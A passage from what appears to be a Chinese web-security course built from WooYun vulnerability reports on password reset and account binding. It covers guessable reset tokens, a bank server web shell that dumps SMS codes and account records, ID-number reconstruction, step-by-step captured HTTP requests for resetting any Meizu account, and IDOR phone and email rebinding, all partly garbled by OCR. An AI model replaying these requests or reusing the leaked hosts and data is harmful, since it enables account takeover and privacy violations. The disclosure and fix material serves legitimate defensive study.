文件(E) 编辑(E) 查看(V) 收藏	(A) 工具(I) 帮助(H)	
🔇 fill 🔹 🕥 - 💌 🛃 🄇	🏠 🔎 搜索 🌪 收藏夹 🧭 🔗 - 🌺 📧 - 📙 🍚 🏭 🦓	
地址 @) 🗃 http://www.appstar.com.	cn/appstar/web/reset_psdok.jsp	💉 🄁 转到
	您的密码已经重置成功,请查收邮件	
	尊敬的应用之星用户,您已经成功重置密码!	
	重置密码已发送至: 574894 6@qq.com	
	如未收到邮件(请检查垃圾邮件),您也可以重发邮件	
	如果遇到问题请联系客服,谢谢!	
注册应用之星 - Mozilla Fir	efox) 北梁(p) 工具(p) 那時(p)	
Hr (c) 編編 (c) 呈名 (c) がえて WooYum.org 自由平等开放的漏洞…	· × ☆注册应用之星 × +	
🖌 🛞 www. appstar. com. cn/appstar/	web/reset_psdok.jsp	- Google (Ctrl+K)
<u></u>		
	您的密码已经重置成功,请查收邮件	
	尊敬的应用之星用户,您已经成功重置密码!	
	重置密码已发送至: 172710918@qq.com	
	如未收到邮件(清检查垃圾邮件), 您也可以重发邮件	
	如果遇到问题清联系客服,谢谢!	

4. 去邮箱里面去查看找回密码的链接:



随机 token 只相差 4,我这里网络有点卡,如果是网络好,应该只相差 1-2,token 轻易被 猜出来。

5. 接下来就是用构造的链接, 找回密码了:

	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~	~ *			-		
HBUE 🔱 🔌 http://www.appstar.com.cn	VreSetFwdCheck. ac	STAR	<u>.0918@qq.com</u> &start(	ClickTime 201501	06105624		
	首页	应用制作	应用中心	电子书	帮助中心	积分商城	
			<b>重置密码</b>		<b>交</b>		

6. 可以在注册功能那块找到已经注册过的邮箱,已经注册过的邮箱会提示一个小红叉表示已 经被注册过:



没被注册

# 注册应用之星 邮 箱: 172710918@qq. com 用户名: 密 码: 确认密码: 验证码: 正子子子 看不清? 换一张



修复方案:

增强随机 token

### 2.5.4 用户凭证有效性

### a. 短信验证码

案例:青海银行某站点 GetShell 影响少量敏感数据(手机短信验证码)

http://118.213.246.48:7001/

反序列 getshell

http://118.213.246.48:7001/bea_wls_internal/1.jsp

密码: mask 区域 *****]]****

jdbc:

```
<url>jdbc:oracle:thin:@138.138.2.123:1521:ZXBS</url>
<driver-name>oracle.jdbc.xa.client.OracleXADataSource</driver-name>
<properties>
<property>
<name>user</name>
<value>WXBANK</value>
</property>
</property>
</property>
</properties>
```

 $\label{eq:aesword-encrypted} aesymptotic absolution and a statement of the symplectic action of the symplectic action of the symplectic action and the symplectic action of the symplectic action$ 

Run SQL	q	uery/qu	ieries on	database /	Switch	Database	: Select a DataBase 🔻	
select	*	from	ZXUSER	ISENDOUEU	JE 100	where	rownum<=20	

Query Export Exp	ort To File							
Query#0 : select * from	ZXU SER.ISENDQ	UEUE_100 w	here rownum<=20					
SEQUENCENUMBER NUMBER	USERNUMBER VARCHAR2	PRIORITY NUMBER	EXPIRETIME TIMESTAMP	ATTIME TIMESTAMP	MESSAGECON VARCHAR2	TENT	RECEIVETIME TIMESTAMP	BEGINTIMEWIND TIMESTAMP
4386	18697	5	2015-10-29 14:42:51		手机验证码	4, 序号1。您正在使用青海银行直销银行,请保密并确定本人操作!	2015-10-27 14:42:51	
4387	18697	5	2015-10-29 14:44:50		尊敬的王卉,	青海银行直销银行开户成功,电子账户为62367031000000374,开户行为中心广场支行	2015-10-27 14:44:50	
4388	186971	5	2015-10-29 14:46:10		手机验证码	9,序号1。您正在使用青海银行直谱银行,请保密并确定本人操作!	2015-10-27 14:46:10	
4389	139971	5	2015-10-29 14:47:35		手机验证码	24,序号1。您正在使用青海银行直端银行,请保密并确定本人操作!	2015-10-27 14:47:35	
4390	131000	5	2015-10-29 14:47:53		手机验证矿	72,序号1。您正在使用青海银行直端银行,请保密并确定本人操作!	2015-10-27 14:47:53	
4391	186971	5	2015-10-29 14:48:38		手机验证研	81,序号1。您正在使用青海银行直销银行,请保密并确定本人操作!	2015-10-27 14:48:38	
4392	1310000	5	2015-10-29 14:49:43		手机验证矿	72,序号1。您正在使用青海银行直销银行,请保密并确定本人操作!	2015-10-27 14:49:43	
4393	1399718	5	2015-10-29 14:49:47		尊敬的杨萍	王青海银行直销银行开户成功,电子账户为62367031000000382,开户行为中心广场支行	2015-10-27 14:49:47	
4394	1310000	5	2015-10-29 14:50:15		手机验证码	72,序号1。您正在使用青海银行直裆银行,请保密并确定本人操作!	2015-10-27 14:50:15	
4395	1399718	5	2015-10-29 14:51:49		手机验证码	75,序号1。您正在使用青海银行直谱银行,请保密并确定本人操作!	2015-10-27 14:51:49	
4396	1310000	5	2015-10-29 14:52:41		手机验证码	12, 序号1。您正在使用青海银行直端银行,请保密并确定本人操作!	2015-10-27 14:52:41	
4397	186971(	5	2015-10-29 14:58:20		手机验证码1	6, 序号1。您正在使用青海银行直端银行,请保密并确定本人操作!	2015-10-27 14:58:20	
4398	186971	5	2015-10-29 15:03:10		手机验证码1	6,序号1。您正在使用青海银行直销银行,请保密并确定本人操作!	2015-10-27 15:03:10	
4399	131000	5	2015-10-29 15:03:15		手机验证码7	8, 序号1。您正在使用青海银行直销银行,请保密并确定本人操作!	2015-10-27 15:03:15	
4400	186971 3	5	2015-10-29 15:04:12		手机验证码4	8, 序号2。您正在使用青海银行直裆银行,请保密并确定本人操作!	201510000000000000000000000000000000000	oyun.org

### b. 邮箱 token

案例:身份通任意密码修改-泄漏大量公民信息

身份通任意密码修改-泄漏大量公民信息 政府开放的可以查询身份证信息的一个网站.

详细说明:

选择使用邮箱找回密码

http://www.idtag.cn/regionTempAction.do?method=toForwardFindPasswordStyle

使用真实信息找回密码后.会发送一封邮件到邮箱.

邮箱中得到如下链接

http://www.idtag.cn/regionTempAction.do?method=resetPassword&idtagCard=用户 ID 值&authcode=Go8K7yp4TWy&rtEmail=邮箱地址

访问后可直接重置用户密码.

输入新密码后提交时抓包.

### 获得以下内容

org.apache.struts.taglib.html.TOKEN=83accc27d5178f832d9f22a1d02bdacf&org.apache .struts.taglib.html.TOKEN=83accc27d5178f

虽然有 TOKEN... 但是依然可以直接修改用户 ID 进行修改密码... 我随便修改了一个用户 ID 提交后得到如下信息

```
</div>
```

www.wooyun.org

## 然后使用该用户 ID 进行登陆 登陆成功



可以查看到他的身份证照片信息

编号	姓名	认证时间	身份号码	认证结果	照片
1	-	2012-09-22 02:33:51	360***********	—致	
				( 197 <u>1 - 19</u> M)	

首页 | 上一页 | 第 1 /1 下一页 | 末页 | 共1条 | 每页 10 条 Con WS WooyUT Org

此处可以得到身份证的前三位和后三位 我们通过第一个个人资料页面可以得到此人的生日 也就是说我们只有 111***19800000*111 四位是需要知道的. 通过个人资料页面我们还可以得到此人的地址信息 可以轻易推算出前面的三位未知 11111119800000*111 就只剩一位了... 研究下身份证的算法就可以知道...这一位和后面的三位是有关联的...在后面三位固定的情 况.这一位也是固定的... 全部身份证号码就得到了 这时我们得到了此人的 真实姓名 身份证号码 地址信息 手机号码 还有此人的身份证照片..

修复方案:

让 TOKEN 变的有用起来吧.

### c. 重置密码 token

案例: 魅族的账号系统内存在漏洞可导致任意账户的密码重置

猜测主要是由于对于密码重置模块令牌的验证不严造成的。

首先进入这里, 魅族的密码重置模块 https://member.meizu.com/forgetpwd

 然后我们需要获取的是四种功能模块的包,分别是发送验证码,验证验证码是否正确的, 以及获取令牌和重置密码的,这里我都获取好了,接下来我们直接用 发送验证码: POST https://member.meizu.com/uc/system/vcode/sendEmailVcode HTTP/1.1 Host: member.meizu.com Connection: keep-alive Content-Length: 64 Accept: application/json, text/javascript, */*; q=0.01 Origin: https://member.meizu.com X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0 Content-Type: application/x-www-form-urlencoded Referer: https://member.meizu.com/uc/system/webjsp/forgetpwd/toMail?account=×××××  $\times \times \times \times \times \times$ Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN, zh; q=0.8 Cookie: fgpwdtk=AXTK4CkEUfVC C1NDGumKyOL6r 8-5kM3oRskFNFu0jRX8Z-WKSowkbe1MkEq6uNUEqtX9 vOHJszxDvS3s0F0Zdx9-QM*7MF-nQFGcjtSDNYJejrx0kDzzkQ5FE3WbW0o7UoYJw5GNswWeGpzqQCF bdxcT rLeVU4 1 MIS2c8C NpSiowUz7LMNB3RG5mmu3InK7R9qAfPpI4Cb5hMh5Ynq13Vv11y46d4L W-AaGqon48D06CA; JSESSIONID=m11ira64bg3rb4n5u6oi1oln46m email=glzjin%40zhaojin97.cn&vCodeTypeValue=8&account=×××××××××××××

验证验证码是否正确:

POST https://member.meizu.com/uc/system/vcode/isValidEmailVCodeForForgetPwd HTTP/1.1Host: member.meizu.com Connection: keep-alive Content-Length: 77 Accept: application/json, text/javascript, */*; q=0.01 Origin: https://member.meizu.com X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0 Content-Type: application/x-www-form-urlencoded Referer: https://member.meizu.com/uc/system/webjsp/forgetpwd/toMail?account=××××××  $\times \times \times \times \times$ Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN, zh;q=0.8 Cookie: fgpwdtk=AXTK4CkEUfVC C1NDGumKyOL6r 8-5kM3oRskFNFu0jRX8Z-WKSowkbe1MkEq6uNUEqtX9 fxR9wgFq9b0oEi73xsAVRurOfKThdEJiZEEeQ0EL0zCuIMJ1m9YMpMQhdcQT8xwDBBRtV7z08WGayOK
v0HJszxDvS3s0F0Zdx9-QM*7MF-nQFGcjtSDNYJejrxOkDzzkQ5FE3WbW0o7UoYJw5GNswWeGpzqQCF
bdxcT_rLeVU4_1_MIS2c8C_NpSiowUz7LMNB3RG5mmu3InK7R9qAfPpI4Cb5hMh5Ynq13Vv11y46d4L
W-AaGqon48D06CA; JSESSIONID=m11ira64bg3rb4n5u6oi1o1n46m

获取令牌:

POST https://member.meizu.com/security/resubmit/token/get HTTP/1.1

Host: member.meizu.com

Connection: keep-alive

Content-Length: 0

Accept: application/json, text/javascript, */*; q=0.01

Origin: https://member.meizu.com

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0

Referer:

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN, zh;q=0.8

Cookie: JSESSIONID=m11ira64bg3rb4n5u6oi1oln46m;

_fgpwdtk=PUF6F7bafqhWDa7pLRN-9G8pLVkM-ZOBb41WiGtpuE7mpSGuCe0xE1XwO0591x2M35TSAU SgLDa2ZjDCKav3_hBcJObQo4580cuHuVw9nYOxsLJzyqRR5Tuoqmf0cEYGOTstMaLoTDO14IqMOf3ep smhdjWMBKQCaZscRQa0xfs*7MF-nQFGcjtSDNYJejrxOkDzzkQ5FE3WbW0o7UoYJw4n6yE2ipq2dz-C tbX82Vj0Oad4x92et5f9vMdPm4hHI8jUZhujmD1YhvTHdQwnP583IuC0_1bQ23FJm0i5vQhRky9fCc0 moGahkWAVT1_MXA

重置密码:

POST https://member.meizu.com/uc/system/webjsp/forgetpwd/resetPwd HTTP/1.1 Host: member.meizu.com Connection: keep-alive Content-Length: 125 Accept: application/json, text/javascript, */*; q=0.01 Origin: https://member.meizu.com X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0 Content-Type: application/x-www-form-urlencoded Referer: https://member.meizu.com/uc/system/webjsp/forgetpwd/toResetPwd?account=××××  $\times \times \times \times \times \times \times$ 

Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN, zh;q=0.8 Cookie:

_fgpwdtk=PUF6F7bafqhWDa7pLRN-9G8pLVkM-ZOBb41WiGtpuE7mpSGuCe0xE1Xw00591x2M35TSAU SgLDa2ZjDCKav3_hBcJObQo4580cuHuVw9nYOxsLJzyqRR5Tuoqmf0cEYGOTstMaLoTDO14IqMOf3ep smhdjWMBKQCaZscRQa0xfs*7MF-nQFGcjtSDNYJejrxOkDzzkQ5FE3WbW0o7UoYJw4n6yE2ipq2dz-C tbX82Vj0Oad4x92et5f9vMdPm4hHI8jUZhujmD1YhvTHdQwnP583IuC0_1bQ23FJm0i5vQhRky9fCc0 moGahkWAVT1_MXA; JSESSIONID=m11ira64bg3rb4n5u6oi1o1n46m

OK, 准备齐全了, 下面就给大家做现场的表演

1. 首先我的目标账号是我朋友 LANCE 的账号(在这里特别感谢他允许我使用他的账号来测试) 130××××××××

2. 同样的我们进入那个账号查找页面,然后这样把账号填进去,进到这个页面

3. 这时我们回到抓包那里,把 COOKIE 干出来

Cookie: Hm_lvt_2a0c04774115b182994cfcacf4c122e9=1412300296; Hm_lpvt_2a0c04774115b182994cfcacf4c122e9=1412300296; _ga=GA1.2.1012289249.1412

这里我们需要的是这一段

JSESSIONID=m2cpjjkteivjxr1o9d646pcjgqs;

_fgpwdtk=IuqfrXg2_z8GS2MV_eygPBPmC9phjbeIXUN01pHJz9zZGJkpRVduU7C95ufFwA9ce74hsT csVI5aFdPKFXybfuBLnMQhZexixy2DxKvH0vIfwUeNTMVG3B3WZYfU1zbUZQPCV8aiLEh5yknycRLk2 WbZMHkBL_x8Kz9i0b_pTcg*LKCpR-u2ekV3g8T9J7RVH6boDmDf_gHX1mOAEgJGgrA0iU4TVsjo-XvT 2pEJ9PEC9R-80fnDs0kVL17q9ZzXn6C0HkxUhP_erM2SGTJTck8io1S2tpXnVqnKPIxL1uTCdqik0Lt tUUwwUCEPKria-Ig0mWTbbTgWio1nJedESMI

4. 再拿出我们之前抓的找回密码那个包,我们替换些信息进去

POST https://member.meizu.com/uc/system/vcode/sendEmailVcode HTTP/1.1 Host: member.meizu.com Connection: keep-alive Content-Length: 64 Accept: application/json, text/javascript, */*; q=0.01 Origin: https://member.meizu.com X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0 Content-Type: application/x-www-form-urlencoded Referer: https://member.meizu.com/uc/system/webjsp/forgetpwd/toMail?account=15977441670 Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN, zh;q=0.8

Cookie: JSESSIONID=m2cpjjkteivjxr1o9d646pcjgqs;

_fgpwdtk=IuqfrXg2_z8GS2MV_eygPBPmC9phjbeIXUN01pHJz9zZGJkpRVduU7C95ufFwA9ce74hsT csVI5aFdPKFXybfuBLnMQhZexixy2DxKvH0vIfwUeNTMVG3B3WZYfU1zbUZQPCV8aiLEh5yknycRLk2 WbZMHkBL_x8Kz9iOb_pTcg*LKCpR-u2ekV3g8T9J7RVH6boDmDf_gHX1mOAEgJGgrAOiU4TVsjo-XvT 2pEJ9PEC9R-80fnDs0kVL17q9ZzXn6C0HkxUhP_erM2SGTJTck8io1S2tpXnVqnKPIxL1uTCdqik0Lt tUUwwUCEPKria-IgOmWTbbTgWio1nJedESMI

email=glzjin%40126.com&vCodeTypeValue=8&account=130 '********

注意,我这里替换的是 COOKIE 以及下面的账号那里,邮箱你要填上自己的 然后,就发送出去吧

5. 然后我们的邮箱里收到了这封东西 130××××××,您好: 感谢您使用 Flyme 服务。 您正在进行 Flyme 找回密码操作,请在 30 分钟内将此验证码: 991344 输入验证码输入框, 以完成验证。 此致 Flyme 项目组 把上面的验证码记下,我们继续玩

6. 然后这里,我们来验证一下是否正确,同样的记住替换 COOKIE 和信息 验证验证码是否正确:

POST https://member.meizu.com/uc/system/vcode/isValidEmailVCodeForForgetPwd HTTP/1.1Host: member.meizu.com Connection: keep-alive Content-Length: 77 Accept: application/json, text/javascript, */*; q=0.01 Origin: https://member.meizu.com X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0 Content-Type: application/x-www-form-urlencoded Referer: https://member.meizu.com/uc/system/webjsp/forgetpwd/toMail?account=××××××  $\times \times \times \times \times$ Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN, zh; q=0.8 Cookie: JSESSIONID=m2cpjjkteivjxr1o9d646pcjgqs; fgpwdtk=IuqfrXg2 z8GS2MV eygPBPmC9phjbeIXUN01pHJz9zZGJkpRVduU7C95ufFwA9ce74hsT csVI5aFdPKFXybfuBLnMQhZexixy2DxKvH0vIfwUeNTMVG3B3WZYfU1zbUZQPCV8aiLEh5yknycRLk2 WbZMHkBL_x8Kz9iOb_pTcg*LKCpR-u2ekV3g8T9J7RVH6boDmDf_gHX1mOAEgJGgrAOiU4TVsjo-XvT 2pEJ9PEC9R-80fnDs0kVL17q9ZzXn6C0HkxUhP_erM2SGTJTck8io1S2tpXnVqnKPIxL1uTCdqik0Lt tUUwwUCEPKria-Ig0mWTbbTgWio1nJedESMI

 $account=130\times\times\times\times\times\times\times\times\times\&vCodeTypeValue=8\&email=glzjin\%40zhaojin97. cn\&vcode=991344$ 

返回是错误的,但不要在意,我们继续走

7. 这时,我们来获取令牌了,记得把该替换的东西都替换了

POST https://member.meizu.com/security/resubmit/token/get HTTP/1.1 Host: member.meizu.com Connection: keep-alive Content-Length: 0 Accept: application/json, text/javascript, */*; q=0.01 Origin: https://member.meizu.com X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0 Referer: https://member.meizu.com/uc/system/webjsp/forgetpwd/toResetPwd?account= $130 \times \times$  $\times \times \times \times \times$ Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN, zh; q=0.8 Cookie: JSESSIONID=m2cpjjkteivjxr1o9d646pcjgqs; _fgpwdtk=IuqfrXg2_z8GS2MV_eygPBPmC9phjbeIXUN01pHJz9zZGJkpRVduU7C95ufFwA9ce74hsT

返回的是这些

{"code":"200", "message":"", "redirect":"", "value":"JUG2VL7VKRDDZ156UZSXQ92TIOFWU
Y0L"}

我们需要的是 value

8. 然后, 最后, 我们替换好该替换的东西, 重置密码吧!

POST https://member.meizu.com/uc/system/webjsp/forgetpwd/resetPwd HTTP/1.1
Host: member.meizu.com
Connection: keep-alive
Content-Length: 125
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://member.meizu.com
X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/x-www-form-urlencoded

Referer:

 $\label{eq:https://member.meizu.com/uc/system/webjsp/forgetpwd/toResetPwd?account=130 \times \times \times \times \times \times \times \times$ 

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN, zh;q=0.8

Cookie: JSESSIONID=m2cpjjkteivjxr1o9d646pcjgqs;

_fgpwdtk=IuqfrXg2_z8GS2MV_eygPBPmC9phjbeIXUN01pHJz9zZGJkpRVduU7C95ufFwA9ce74hsT csVI5aFdPKFXybfuBLnMQhZexixy2DxKvH0vIfwUeNTMVG3B3WZYfU1zbUZQPCV8aiLEh5yknycRLk2 WbZMHkBL_x8Kz9iOb_pTcg*LKCpR-u2ekV3g8T9J7RVH6boDmDf_gHX1mOAEgJGgrAOiU4TVsjo-XvT 2pEJ9PEC9R-80fnDs0kVL17q9ZzXn6C0HkxUhP_erM2SGTJTck8io1S2tpXnVqnKPIxL1uTCdqik0Lt tUUwwUCEPKria-Ig0mWTbbTgWio1nJedESMI

 $\label{eq:starsest} form_resubmit_token_key=JUG2VL7VKRDDZ156UZSXQ92TI0FWUY0L\&account=130\times\times\times\times\times\times\times\times\times \\ \times & \mbox{resetPassword=xibaxiba} \\ \end{tabular}$ 

OK,我们看到的,返回的是 200 和 true,就是说我们成功的重置了密码

9. 登陆试试

修复方案:

加强各模块的验证

### 2.5.5 重新绑定

a. 手机绑定

案例: 网易邮箱可直接修改其他用户密码

网易邮箱弱口令手机绑定业务程序设计存在缺陷可导致直接修改密码

详细说明:

首先注册一个 126 邮箱测试帐号

1	王册网易免费邮箱甲国第一7	<b>C电子邮件服务</b> 商		
[ජා] 🔘 💽 reg.email.163.com/mailregAll/regO.jsp?from=I26ma	all			
126网易免费邮你的专业电子邮局		注册	网易免费邮箱中国第一大电子邮件目	發育商
<mark>網易 NETEASE</mark> 中国第一大电子的	邖件服务商			反馈意见帮助
🙂 欢迎注册网易免费邮!您可以选择注册163、	126、yeah.net三大免费邮箱			了解详情≫
* 邮件地址	ceshiyixiaoo	@ I26.com +	✓ 恭喜, 该邮件地址可注册	
	6-18个字符,可使用字母、数字、	下划线。推荐以手机号码正	直接注册	
* 密码	•••••		✓ 密码强度:中	
	6~16个字符,区分大小写			
* 确认密码	•••••			
	请再次输入密码			
手机号码				
	。 密码遗忘或被盗时,可通过手机短	言取回密码		
		A		
* BOVICA-9	qwdadw	Undagw		
	请输入图片中的字符,不区分大小3	看不清楚?换张图片		
	☞ 同意"服务条款"和"陶私权保护和	0个人信息利用政策"		
	立即注册			
				www.wooyun.org

然后会跳转到一个手机绑定得安全提示上

		近门木切足的生			
🛛 🔇 security.mail	.126.com/mobileserv/mbp.do?uid=ce	shiyixlaoo@I26.com&backurl=http%3A%2F%2Freg	.163.com%2Flogins.jsp%3Ftype%3DI%2	26url%3Dhttp%2	53A%252F%252Fei (
126网易免费邮	你的专业电子邮局		密保提醒		
126	网易免费邮 www.126.com				
	您的帐户存在安全隐患	<u>R</u> !			
	您尚未设置任何密码保护,一旦密码	忘记或被盗,您可能再也无法访问自己的邮箱!			
	据统计:	会忘记自己的账号密码			
	② 未设置密码保护的邮箱帐户,被	至的风险为有密保帐户的 10 倍			
	请确保您的帐户采取了密保措施,不	要等到失去才后悔莫及。			
推荐	摔密保方式				
11	御完三祖, 金金金				
	第一日前の一日前の一日前の日本の日本の日本の日本の日本の日本の日本の日本の日本の日本の日本の日本の日本の	并可以随时随他通过王和黄帝家母			
	SPACICI PLACED BY THE IS A CONTRACT OF THE				
	请输入手机号码	获取短信验证码			
	请输入短信验证码				
	Frank and the second				
	确定并进入邮箱				

这个链接注意下参数,有个 uid,将 uid 修改为要黑掉的网易邮箱帐户

urity.mail.l	26.com/mobileserv/mbp.do?uid=haha@l63.com&backurl=http%3A%2F%2Freg.163.com%2Fi	ogins.jsp%3Ftype%3Dl%26url%3Dhttp%253A%252F%252F«
		LE (MY JEINE
163	网易免费邮 mall.163.com	
•	您的帐户存在安全隐患!	
	您尚未设置任何密码保护,一旦密码忘记或被盗,您可能再也无法访问自己的邮箱!	
	<ul> <li>① 马联网上母 3 个人中, 第月 1 个会忘记自己的账号密码</li> <li>② 未设置密码保护的邮箱帐户,被盗的风险为有密保帐户的 10 倍</li> </ul>	
	请确保您的帐户采取了密保措施,不要等到失去才后悔莫及。	
推荐	密保方式	
	<b>绑定手机</b> 完全免费 绑定后可收到密码被修改的短信提醒,并可以随时随地通过手机重置密码	
	获取短信验证码	
	请输入短信验证码	

## 填入一个你可控的手机号码,将确认码发回来



	密保機羅	
I26网易免费邮	ize.com/monesery/mop.com/ana_manageos.com/adackan=mtph/seaserxerreg.res.com/serrogins_jsp/sertypess/ixes/on/sear/typess/ 你的专业电子邮局 密保課題	SARESEPACSEPailing. 0
162	网易免费邮	
105	mail.163.com	
	您的軟件一仔在女王隐思!	
	据统计:	
	<ul> <li>互联网上每3个人中,就有1个会忘记自己的帐号密码</li> <li>未设置密码保护的邮箱帐户,被盗的风险为有密保帐户的10倍</li> </ul>	
	请确保您的帐户采取了密保措施,不要等到失去才后悔莫及。	
10-11		
推有	密保力式	
	绑定手机 _{完全免费}	
	绑定后可收到密码被修改的短信提醒,并可以随时随地通过手机重置密码	
	确定并进入邮箱	www.wooyun.org
🙆 cocusitu mail l	<b>公決定</b> 離	conversion & De
I26网易免费邮-	co.com/mobileserv/mop.do/uld=nana@ibs.com@abarkum=nttpsaAkzr-xzrreg.ibs.comxzrlogins.jspx=rttpsaJkzounxsbJnttpxz	SAARCSCHRESCHENTY. C
163	网易免费邮 mail.163.com	
	手机号码绑定成功!	
	绑定成功后,当密码修改时,会收到短信通知;	
	您也可以随时随地通过以下短信指令重置密码:	
	编写短信 XGMM[空格] 帐号[空格] 新密码 发送到 106981630163 了解详情>>	
	进入邮箱	
		www.wooyun.org

点击确定并进入邮箱,这个时候这个目标网易邮箱已经被越权绑定了密保手机。 然后走正常的密码取回流程,发现这个邮箱多了一个通过手机的取回方式,这个手机尾号就 是我刚刚绑定的手机!

# 網易通行证 易证在手 网易任君游

地回网易通行证密	码:	1.输入通行证帐号	2.选择找回密码方式	
正在找回网易通	行证 <b>—</b> haha@10	63.com 的密码 [换一个帐号]		
	<b>过密码提示问题</b> 恒多帮助>>	安全码         通过安全码           123         更多帮助>>	<b>通过手机</b> 王文 更多帮助>>	
<b>□果你无法通过_</b>	上述方法修复密码,	建议你尝试通过以下方式进行处	里:	
【通过注册信息(	修复帐号】			
http://mima	.163.com/			
【游戏数据修复	胀号】			
梦幻西游	大话西游II			
			W	ww.wooyun.
找回网易通行证 通过手机(******	正密码: **●78)找回密码 [	1.输入通行证帐号 换一个找回方式]	2.选择找回密码方:	đ 🔪
请您按如下步	-骤重置密码:			
① 获取短	短信验证码: 免费	專获取		
		<₽		
2 输入网	刚收到的短信内的	的验证码:		
通行证帐	<del>(号</del> : <mark>p</mark> haha@	163.com		
短信验证	E码:			
新密	<b>齐码:</b> 密码长度为6	-16位,可用英文字母、数字、特殊等	2符。	
新啓 重复新容	749: 密码长度为6	-16位 , 可用英文字母、数字、特殊等	学符。 exercit	



请您按如下步骤重置密码:

获取短信验	证码: 免费获取	
	<	
2 输入刚刚收 语行证帐号:	到的短信内的验证码:	
短信验证码:	207943	
新密码:	••••••• 密码长度为6-16位,可用英文字母、数字、特殊字符。	
重复新密码:		
验证码:	umeza 不区分大小写,换一张	
	完成	www.wooyun.c



网易公司版权所有 ©1997-2012

www.wooyun.org

密码重置成功!!

存在权限判断不当,越权操作的接口是:

http://security.mail.126.com/mobileserv/mbp.do?uid=[写你想要进行修改的账号]&backurl=

修复方案:

进行程序逻辑改正 或直接进行删除修改

b. 邮箱绑定

案例: 某彩票设计缺陷可修改任意用户密码

- 1、注册帐号 wooyun;
- 2、绑定邮箱;
- 3、找回密码;
- 4、获得 url;

5、http://www.cpbao.com/user/fund!bindMobileOrEmail.action?userIdCard=用户 ID&isBindEmail=1&bindEmail=邮箱;

6、wooyun 登录状态下,修改第5步的用户 ID 为他人 ID

(这个可以从网站排行榜获取),邮箱用咱自己的。打开,ok,看图:



虽然这是登录状态还是 wooyun, 但是修改的确实是指定的 id 邮箱数据;

- 7、修改指定用户 id 邮箱成功;
- 8、继续, 找回密码, 获得系统发到咱邮箱的随机密码;

<< 返回	回复	回复全部	~	转发	~	删除	举报	标记为 ~	移动到 ~	更多 >
彩票宝密	码找回	₩ P O	0							
发件人: 靇	漂宝 <cpb< td=""><td>bao@mail1.</td><td>.cpb</td><td>ao.com</td><td> &gt;  +</td><td></td><td></td><td></td><td></td><td></td></cpb<>	bao@mail1.	.cpb	ao.com	>  +					
				2						
收件人:				2						

9、登录成功;

10、文化不高,写的好像有点乱。

【问:guiji@wooyun.com 是啥? 答: 随便填嘛】

【排行榜的用户昵称是隐藏的呢?对朋友不隐藏嘛!】

修改了、登录了也没有危害啊?是吗?他叫啥,哪里人,我都知道了!

	<b>您当前的位置:</b> 首页 > 账F	^白 中心 > 个人资料	
	欢迎悠.woo 安全等级: ⊊chbao.com 殖已完善	yun <u>账户总金额: 0.00 元 充值 提现</u> 做 <mark>溫 基 提示</mark> 位用户 完善安全 国 末期定 目 末	上次螢录时间:2015-01-16 上次螢录时间:2015-01-16 上次螢录中:110.240.42.13 費 查看登录记录
	账户中心	个人资料	
	▲ 账户安全	用户昵称,wooyun 修改密码	
and the second se	安全中心 >	真实姓名: 刘**	
<pre>vdiv class="infor1.5 v div class="infor1.body" vdiv class="font_body" vdiv class="font_series" vdiv class="font_series" vdiv class="infor_line"&gt; vdiv class="infor_line"&gt; vdiv class="infor_line"&gt; vdiv class="infor_line"&gt;</pre>	<pre>"Index folds febults f</pre> "> "> "> "> "> "> "> "> "> "> " " " "	">己完養 "onclick="toUserInfo('/user/user!setUserInfo.action', '测」',' bileBind', '手机绑定设量')" class="nocertifi" title="绑定手机"、+"" /a>	▲ [st ele: } ² .di:
0361 1 0	f 4 🔺 🗸 Cancel		Find

漏洞证明:

 $\langle img$ 

src="http://www.wooyun.org/upload/201501/162134124e4d6c43bfe39882e52cd6bd6a81c1
40.jpg" alt="" />



您的新密码为: gq8WAs5 ,请您及时修改密码,如非本人操作,请及时联系在线客服!

	<b>您当前的位置:</b> 首页 > 账户	9中心 > 个人资料							
	欢迎悠.woo 形实主 安全等级:	vun 低温語	账户总金额: 霍提示	0.00 元	充值	提现		上次登录时间:2 上次登录IP:110	015-01-16 0.240.42.13
	Cobmo com 第4134102 1日 已完善	位用户 完善安全	正在提交	で修改信息,请稍	后。		录	查看登录记录	
	账户中心	个人资料	-						
	✿ 账户安全	用户呢	称: wooyun	修改密码					
	安全中心 >	真实姓	名: 刘**						
	个人资料 »								
